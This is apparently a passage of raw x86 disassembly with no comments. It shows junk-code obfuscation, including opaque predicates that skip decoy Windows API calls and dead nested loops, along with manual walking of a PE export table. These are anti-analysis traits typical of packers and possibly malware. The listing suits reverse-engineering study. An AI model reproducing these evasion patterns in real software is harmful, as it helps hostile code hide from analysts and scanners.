jne 0x1001dfee
mov dword [ebp - 0x6c8], 1
jmp 0x1001dff5
and dword [ebp - 0x6c8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6c8]
mov dword [ebp + eax - 0x4d0], ecx
mov dword [ebp - 0x6c], 0
jmp 0x1001e018
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jg 0x1001e03a
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1001e038
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x1001e011
jmp 0x1001dd8b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4d0]
mov dword [ebp - 0xfa4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d0]
add eax, 0x64ed24de
cmp eax, dword [ebp - 0x6c]
jne 0x1001e075
mov dword [ebp - 0x6d0], 1
jmp 0x1001e07c
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x488]
sub eax, 0xf317
cmp dword [ebp - 0x18], eax
jg 0x1001e0a4
mov dword [ebp - 0x6d8], 1
jmp 0x1001e0ab
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x18], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp + eax - 0x4d0]
jle 0x1001e0d8
cmp dword [ebp - 0x488], 0
jne 0x1001e0d8
and dword [ebp - 0x6e0], 0
jmp 0x1001e0e2
mov dword [ebp - 0x6e0], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x6e0]
sub ecx, dword [ebp + eax - 0x4d0]
mov eax, dword [ebp - 0x6c]
imul eax, ecx
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x4d0], eax
mov dword [ebp - 0xcc8], 0xffffffff
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x7a0]
push eax
mov ecx, 0x1098d0b4
call fcn.10022560
lea eax, [ebp - 0xf70]
push eax
mov ecx, 0x1098d0b4
call fcn.10022549
push eax
lea ecx, [ebp - 0x7a0]
call fcn.1002257b
movzx eax, al
test eax, eax
je 0x1001e7a2
mov dword [ebp - 0x30], 0x50bf34fd
mov dword [ebp - 0x490], 0xfffffffe
mov dword [ebp - 0x730], 0x17a3f0ae
mov dword [ebp - 0x404], 0
jmp 0x1001e186
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 3
jge 0x1001e1a2
mov eax, dword [ebp - 0x404]
mov dword [ebp + eax*4 - 0xda4], 0xeac8b13e
jmp 0x1001e179
mov dword [ebp - 0x30], 0
jmp 0x1001e1b2
cmp dword [ebp - 0x30], 2
jg 0x1001e481
mov dword [ebp - 0x220], 0xe790
mov dword [ebp - 0x6f0], 0xdfbc43cc
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x450], 0x8ed7c3b7
push 3
lea ecx, [ebp - 0xf08]
call fcn.100223ce
mov dword [ebp - 4], 0x26
mov dword [ebp - 0xc3c], 0xfffffffe
mov dword [ebp - 0x8c], 0
jmp 0x1001e21b
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x1001e23d
push dword [ebp - 0x8c]
lea ecx, [ebp - 0xf08]
call fcn.1002246c
mov dword [eax], 0x3a7ef23e
jmp 0x1001e20e
mov dword [ebp - 0x8c], 0
jmp 0x1001e256
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 4
jge 0x1001e272
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1298], 0xa1dd7933
jmp 0x1001e249
mov byte [ebp - 0x16a], 0
movzx eax, byte [ebp - 0x16a]
test eax, eax
je 0x1001e291
push 0
push 0x5c7
call dword [sym.imp.GDI32.dll_SelectClipRgn]
cmp dword [ebp - 0x220], 0
jne 0x1001e336
xor eax, eax
inc eax
je 0x1001e2b5
cmp dword [ebp - 0x30], 0
je 0x1001e2b5
mov dword [ebp - 0x6e8], 1
jmp 0x1001e2bc
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
cmp eax, dword [ebp - 0x490]
je 0x1001e2ee
mov dword [ebp - 0x700], 1
jmp 0x1001e2f5
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x450]
add eax, dword [ebp - 0x700]
sub eax, 0xfffffffb
mov dword [ebp - 0x708], eax
push 0
lea ecx, [ebp - 0xf08]
call fcn.1002246c
mov ecx, dword [ebp - 0x708]
mov dword [eax], ecx
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x708], eax
jge 0x1001e336
and dword [ebp - 0xc34], 0
jmp 0x1001e340
mov dword [ebp - 0xc34], 1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10c8], eax
mov eax, dword [ebp - 0x450]
mov dword [ebp - 0x710], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x710]
mov dword [ebp + eax - 0x1298], ecx
mov eax, dword [ebp - 0x220]
sub eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x30]
jg 0x1001e385
mov dword [ebp - 0xcd0], 1
jmp 0x1001e38c
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xf78], eax
cmp dword [ebp - 0x450], 0
jne 0x1001e3ba
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1298], 0
jne 0x1001e3ba
mov dword [ebp - 0x718], 1
jmp 0x1001e3c1
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x220]
neg eax
sub eax, dword [ebp - 0x718]
cmp eax, dword [ebp - 0x490]
jge 0x1001e3e9
cmp dword [ebp - 0x490], 0
jne 0x1001e3e9
and dword [ebp - 0x720], 0
jmp 0x1001e3f3
mov dword [ebp - 0x720], 1
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x720], eax
jne 0x1001e40d
mov dword [ebp - 0x728], 1
jmp 0x1001e414
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp + eax*4 - 0xda4]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x738]
mov dword [ebp + eax*4 - 0xda4], ecx
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x730], eax
mov eax, dword [ebp - 0x730]
cmp dword [ebp - 0x738], eax
jne 0x1001e45a
mov dword [ebp - 0x740], 1
jmp 0x1001e461
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0xc3c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf08]
call fcn.10022450
jmp 0x1001e1ab
mov dword [ebp - 0x30], 0xffffffea
jmp 0x1001e491
cmp dword [ebp - 0x30], 0xfffffff1
jne 0x1001e78e
mov dword [ebp - 0xec], 8
mov dword [ebp - 0x3a4], 0x4ad44630
mov dword [ebp - 0x39c], 0
jmp 0x1001e4c8
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 3
jge 0x1001e4e4
mov eax, dword [ebp - 0x39c]
mov dword [ebp + eax*4 - 0x12e0], 0xcf36
jmp 0x1001e4bb
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x3a4], 0xffffffff
mov eax, 0x10760b96
sub eax, dword [ebp - 0x3a4]
cmp eax, dword [ebp - 0xec]
je 0x1001e516
mov dword [ebp - 0x748], 1
jmp 0x1001e51d
and dword [ebp - 0x748], 0
cmp dword [ebp - 0x748], 5
ja 0x1001e532
mov dword [ebp - 0x750], 1
jmp 0x1001e539
and dword [ebp - 0x750], 0
cmp dword [ebp - 0x750], 0xfffffffe
jne 0x1001e54e
mov dword [ebp - 0x758], 1
jmp 0x1001e555
and dword [ebp - 0x758], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xda4]
cmp dword [ebp - 0x758], eax
jge 0x1001e575
mov dword [ebp - 0x760], 1
jmp 0x1001e57c
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x760], eax
jl 0x1001e596
mov dword [ebp - 0x768], 1
jmp 0x1001e59d
and dword [ebp - 0x768], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xda4]
cmp dword [ebp - 0x768], eax
jle 0x1001e5be
mov dword [ebp - 0x770], 1
jmp 0x1001e5c5
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0xec]
cmp eax, dword [ebp - 0x770]
jl 0x1001e5df
mov dword [ebp - 0x778], 1
jmp 0x1001e5e6
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x778], eax
jge 0x1001e600
lea ecx, [ebp - 0x7a0]
call fcn.10022575
mov eax, dword [eax + 4]
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0xffffffff
jne 0x1001f946
mov dword [ebp - 0x7b0], 0x435d
mov dword [ebp - 0xce0], 0x10007fe0
cmp dword [ebp - 0x7b0], 0x4565
jle 0x1001e8aa
and dword [ebp - 0x290], 0
jmp 0x1001e7e9
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0xe9e
jge 0x1001e8aa
and dword [ebp - 0x298], 0
jmp 0x1001e80f
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x4b9d
jge 0x1001e8a5
and dword [ebp - 0x2a0], 0
jmp 0x1001e835
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x73bb
jge 0x1001e8a0
mov eax, dword [ebp - 0x290]
sub eax, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x2a0]
shl eax, cl
cdq
mov dword [ebp - 0xc04], eax
mov dword [ebp - 0xc00], edx
push dword [ebp - 0xc00]
push dword [ebp - 0xc04]
lea ecx, [ebp - 0x1404]
call fcn.1000ac3e
pop ecx
pop ecx
mov dword [ebp - 0xcd8], eax
mov ecx, dword [ebp - 0xcd8]
call fcn.1002218f
push eax
call fcn.1005af25
pop ecx
lea ecx, [ebp - 0x1404]
call fcn.10022185
jmp 0x1001e828
jmp 0x1001e802
jmp 0x1001e7dc
mov dword [ebp - 0x458], 0
push 4
lea ecx, [ebp - 0xf20]
call fcn.100223ce
mov dword [ebp - 4], 0x28
mov dword [ebp - 0xc44], 0xfffffff9
mov dword [ebp - 0x2a8], 0
jmp 0x1001e8eb
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 4
jge 0x1001e90d
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0xf20]
call fcn.1002246c
mov dword [eax], 0xe1879501
jmp 0x1001e8de
mov eax, dword [ebp - 0x458]
neg eax
je 0x1001e95c
mov byte [ebp - 0x16e], 0
movzx eax, byte [ebp - 0x16e]
test eax, eax
je 0x1001e93a
push 0
push 1
push 0xbc3
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x1001e95a
push 0
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
jmp 0x1001e97b
mov byte [ebp - 0x170], 0
movzx eax, byte [ebp - 0x170]
test eax, eax
je 0x1001e97b
push 0
push 0x18e5
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x7a8], eax
push 3
lea ecx, [ebp - 0xf20]
call fcn.1002246c
mov ecx, dword [ebp - 0x7a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x458]
add eax, dword [ebp - 0x7a8]
mov dword [ebp - 0xc44], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf20]
call fcn.10022450
mov dword [ebp - 4], 0x29
cmp dword [ebp - 0x7b0], 0x42ab
jge 0x1001e9dc
push dword [ebp - 0xce0]
call fcn.1005af25
pop ecx
jmp 0x1001e9f8
or dword [ebp - 4], 0xffffffff
jmp 0x1001ea02
mov ecx, 0x1098d0b4
call fcn.1002262a
mov ecx, dword [ebp - 0xfc]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1098d0b4
call fcn.1002262e
mov dword [ebp - 0x7b8], 0xffffffff
mov dword [ebp - 0x48c], 7
mov dword [ebp - 0x7c0], 1
mov dword [ebp - 0xce8], 0x47bb7ab6
mov dword [ebp - 0x2b0], 0
jmp 0x1001ea61
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 4
jge 0x1001ea7d
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0x135c], 0xbf48c443
jmp 0x1001ea54
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x1001ea9b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov eax, dword [ebp - 0x7b8]
mov dword [ebp - 0xf80], eax
mov eax, dword [ebp - 0x7b8]
dec eax
cmp dword [ebp - 0x48c], eax
jle 0x1001eac2
mov dword [ebp - 0x7c8], 1
jmp 0x1001eac9
and dword [ebp - 0x7c8], 0
mov dword [ebp - 0x7c0], 0
cmp dword [ebp - 0x7c0], 0
cmp dword [ebp - 0x48c], 0x2071
jne 0x1001eaf2
mov dword [ebp - 0xc4c], 1
jmp 0x1001eaf9
and dword [ebp - 0xc4c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x7c8]
mov dword [ebp + eax - 0x135c], ecx
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0xce8], eax
and dword [ebp - 0x1ac], 0
jmp 0x1001eb2d
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x1ac]
cmp ecx, dword [eax + 0x18]
jae 0x1001f946
mov dword [ebp - 0x94], 0
jmp 0x1001eb5b
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 4
jge 0x1001eb77
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xb38], 1
jmp 0x1001eb4e
mov dword [ebp - 0x94], 0
jmp 0x1001eb90
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x1001ebac
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x1d4], 0xa8b108f8
jmp 0x1001eb83
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xb38], 0
jmp 0x1001ebd7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb38]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb38], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb38], 3
jle 0x1001ef63
mov dword [ebp - 0x20], 0x4ea6801f
mov dword [ebp - 0x20], 1
jmp 0x1001ec01
cmp dword [ebp - 0x20], 0
jl 0x1001ef5e
mov dword [ebp - 0x7e8], 0x9c214f16
mov dword [ebp - 0x460], 0x61e33ecd
mov byte [ebp - 0x172], 0
movzx eax, byte [ebp - 0x172]
test eax, eax
je 0x1001ec40
push 0
push 0
push 0x1c45
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1d4], 0x1f0ef2f3
jle 0x1001ec5c
mov dword [ebp - 0x7d8], 1
jmp 0x1001ec63
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1d4], 0
je 0x1001ec89
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1d4], 0
je 0x1001ec89
mov dword [ebp - 0x7d0], 1
jmp 0x1001ec90
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x7d0]
sub ecx, dword [ebp + eax*4 - 0x1d4]
cmp dword [ebp - 0x7d8], ecx
jl 0x1001ecb4
mov dword [ebp - 0x7e0], 1
jmp 0x1001ecbb
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x7e8]
cmp eax, dword [ebp - 0x460]
jl 0x1001ece1
mov dword [ebp - 0xc54], 1
jmp 0x1001ece8
and dword [ebp - 0xc54], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb38]
mov dword [ebp - 0x10d0], eax
mov eax, 0xffff
cmp eax, 0x81b5
jne 0x1001ed12
mov dword [ebp - 0x7f0], 1
jmp 0x1001ed19
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0x7c8a
je 0x1001ed31
jmp 0x1001ebbe
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1ac]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x840], 0x5f99
mov dword [ebp - 0xc64], 0x10008030
cmp dword [ebp - 0x840], 0x6283
jle 0x1001f07c
and dword [ebp - 0x2c8], 0
jmp 0x1001efbb
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x7102
jge 0x1001f07c
and dword [ebp - 0x2b8], 0
jmp 0x1001efe1
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0xb61
jge 0x1001f077
and dword [ebp - 0x2c0], 0
jmp 0x1001f007
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x186f
jge 0x1001f072
mov ecx, dword [ebp - 0x2b8]
sub ecx, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0x2c8]
shl eax, cl
cdq
mov dword [ebp - 0xc10], eax
mov dword [ebp - 0xc0c], edx
push dword [ebp - 0xc0c]
push dword [ebp - 0xc10]
lea ecx, [ebp - 0x1434]
call fcn.1000ac3e
pop ecx
pop ecx
mov dword [ebp - 0xcf8], eax
mov ecx, dword [ebp - 0xcf8]
call fcn.1002218f
push eax
call fcn.1005af25
pop ecx
lea ecx, [ebp - 0x1434]
call fcn.10022185
jmp 0x1001effa
jmp 0x1001efd4
jmp 0x1001efae
push 1
lea ecx, [ebp - 0x114c]
call fcn.100223ce
mov dword [ebp - 4], 0x2b
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x840], 0x5bd6
jge 0x1001f0ac
push dword [ebp - 0xc64]
call fcn.1005af25
pop ecx
jmp 0x1001f0c8
mov dword [ebp - 4], 0x2b
jmp 0x1001f0d8
mov dword [ebp - 0x228], 0xe83c7730
mov dword [ebp - 0x468], 0xb4c23afc
mov dword [ebp - 0x1234], 0
mov dword [ebp - 0xf94], 0xfffffff6
mov dword [ebp - 0xd00], 0xa92b
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x10d8], 0x3b372ba2
push 2
lea ecx, [ebp - 0xa9c]
call fcn.100223ce
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0x9c], 0
jmp 0x1001f145
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1001f167
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x114c]
call fcn.1002246c
mov dword [eax], 0xec2e
jmp 0x1001f138
mov dword [ebp - 0x9c], 0
jmp 0x1001f180
cmp dword [ebp - 0x9c], 2
jge 0x1001f1a2
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xa9c]
call fcn.1002246c
mov dword [eax], 0xdb979cd3
jmp 0x1001f173
mov dword [ebp - 0x228], 0
jmp 0x1001f1bb
mov dword [ebp - 0xe78], 1
mov dword [ebp - 0xe74], 1
mov dword [ebp - 0xe70], 1
mov dword [ebp - 0xe6c], 1
lea ecx, [ebp - 0x441]
call fcn.1002247b
push eax
lea eax, [ebp - 0xe68]
push eax
lea eax, [ebp - 0xe78]
push eax
lea ecx, [ebp - 0x12f4]
call fcn.1002247e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x12ec]
call fcn.1002242a
mov dword [ebp - 4], 0x33
mov dword [ebp - 0x1000], 0xef2c3654
mov dword [ebp - 0x11d0], 0xab5457d6
mov dword [ebp - 0x1008], 1
mov dword [ebp - 0x1130], 0xf219a6fd
mov dword [ebp - 0x1010], 1
mov dword [ebp - 0x1258], 0
mov dword [ebp - 0x1018], 0x92426f37
mov dword [ebp - 0x1140], 0
mov dword [ebp - 0x1020], 0x50dfa014
mov dword [ebp - 0x1230], 0x5c3421ad
mov dword [ebp - 0x122c], 0x5c3421ad
mov dword [ebp - 0x1228], 0x5c3421ad
mov dword [ebp - 0x1224], 0x5c3421ad
mov dword [ebp - 0x308], 0
jmp 0x1001fa45
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jge 0x1001fa61
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x310], 0x184c506d
jmp 0x1001fa38
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x310], 3
jmp 0x1001fa8f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x310]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x310], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x310], 0
jl 0x1001fd6d
mov dword [ebp - 0xd08], 0x25d6
cmp dword [ebp - 0xd08], 0xfde
jge 0x1001fbe0
lea eax, [ebp - 0xc74]
push eax
lea eax, [ebp - 0x470]
push eax
push 0x100080a4
call fcn.1005ab7b
add esp, 0xc
mov eax, dword [ebp - 0x470]
inc eax
push eax
lea ecx, [ebp - 0xdbc]
call fcn.1002258e
mov byte [ebp - 4], 0x34
and dword [ebp - 0x318], 0
jmp 0x1001fb05
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
cmp eax, dword [ebp - 0x470]
jge 0x1001fb33
push dword [ebp - 0x318]
lea ecx, [ebp - 0xdbc]
call fcn.1002246c
push eax
push 0x100077ec
call fcn.1005ab7b
pop ecx
pop ecx
jmp 0x1001faf8
push dword [ebp - 0x470]
lea ecx, [ebp - 0xdbc]
call fcn.1002246c
mov dword [eax], 0x3b9aca07
and dword [ebp - 0x320], 0
and dword [ebp - 0x4a4], 0
jmp 0x1001fb67
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4a4]
cmp eax, dword [ebp - 0xc74]
jge 0x1001fbc6
lea eax, [ebp - 0xd10]
push eax
push 0x100077ec
call fcn.1005ab7b
pop ecx
pop ecx
push dword [ebp - 0x320]
lea ecx, [ebp - 0xdbc]
call fcn.1002246c
mov eax, dword [eax]
cmp eax, dword [ebp - 0xd10]
jge 0x1001fbb2
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
jmp 0x1001fb88
push dword [ebp - 0x320]
push 0x100080ac
call fcn.1005af25
pop ecx
pop ecx
jmp 0x1001fb5a
push 0x10007755
call fcn.1005b1e6
pop ecx
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xdbc]
call fcn.10022450
mov dword [ebp - 0x11e4], 0xffffffff
mov dword [ebp - 0x1028], 1
mov dword [ebp - 0x1150], 0x86524f20
mov dword [ebp - 0x1030], 0x4adf2985
mov dword [ebp - 0xbc], 0
jmp 0x1001fc21
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1001fc3d
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0xadc], 0xba1bf2b2
jmp 0x1001fc14
mov dword [ebp - 0xbc], 0
jmp 0x1001fc56
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1001fc72
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1304], 0
jmp 0x1001fc49
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xadc], 3
jmp 0x1001fca0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xadc]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xadc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xadc], 0
jl 0x1001fd68
mov dword [ebp - 0x1174], 0
mov dword [ebp - 0x1038], 0xfffffffb
mov dword [ebp - 0x1160], 0xcc424770
mov dword [ebp - 0x1040], 0xfffffffa
mov dword [ebp - 0x117c], 0
mov dword [ebp - 0x1048], 0xfffffffa
mov dword [ebp - 0x880], 0x976b
mov dword [ebp - 0x328], 0
jmp 0x1001fd13
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 4
jge 0x1001fd2f
mov eax, dword [ebp - 0x328]
mov dword [ebp + eax*4 - 0x1444], 0x79df9481
jmp 0x1001fd06
mov byte [ebp - 0x178], 0
movzx eax, byte [ebp - 0x178]
test eax, eax
je 0x1001fd56
push 0xfec
push 0x4e1
push 0x14a9
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
jmp 0x1001fc85
jmp 0x1001fa74
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12ec]
call fcn.10022450
cmp dword [ebp + 0x10], 0
jne 0x1001fe7e
cmp dword [ebp - 0x1cc], 0xffffffff
je 0x1001fe7e
mov dword [ebp - 0xf60], 0x3556
mov dword [ebp - 0xf5c], 0x3556
mov dword [ebp - 0xf58], 0x3556
mov dword [ebp - 0xf54], 0x3556
mov dword [ebp - 0xc7c], 0x6d2e8588
mov dword [ebp - 0x330], 0
jmp 0x1001fdde
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 4
jge 0x1001fdfa
mov eax, dword [ebp - 0x330]
mov dword [ebp + eax*4 - 0xdec], 1
jmp 0x1001fdd1
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xdec], 3
jmp 0x1001fe28
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xdec]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xdec], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xdec], 0
jl 0x1001fe5e
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xdec]
mov eax, dword [ebp + eax*4 - 0xf60]
mov dword [ebp - 0x1170], eax
mov dword [ebp - 0xc7c], 0xffffffff
jmp 0x1001fe0d
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x1cc]
mov ax, word [ecx + eax*2]
mov word [ebp - 0xa4], ax
movzx eax, word [ebp - 0xa4]
cmp eax, 0xffff
je 0x10020d7f
mov dword [ebp - 0x340], 0xffffffff
mov dword [ebp - 0x1050], 0
mov dword [ebp - 0x888], 1
mov dword [ebp - 0x338], 0
jmp 0x1001fec7
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 3
jge 0x1001fee3
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x13d4], 0xafe01bd9
jmp 0x1001feba
mov dword [ebp - 0x340], 0
jmp 0x1001fefc
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xffffffe3
jg 0x1001ffd7
push 4
lea ecx, [ebp - 0x115c]
call fcn.100223ce
mov dword [ebp - 4], 0x35
mov dword [ebp - 0xc4], 0
jmp 0x1001ff36
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 4
jge 0x1001ff58
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x115c]
call fcn.1002246c
mov dword [eax], 0xbd035c5
jmp 0x1001ff29
mov dword [ebp - 0xc4], 0
jmp 0x1001ff71
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x1001ff8d
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1380], 0x1d52
jmp 0x1001ff64
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x1001ffb6
push 0
push 0x2200
push 0x1b0e
push 0x232
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov eax, dword [ebp - 0x888]
inc eax
mov dword [ebp - 0x888], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x115c]
call fcn.10022450
jmp 0x1001feef
movzx eax, word [ebp - 0xa4]
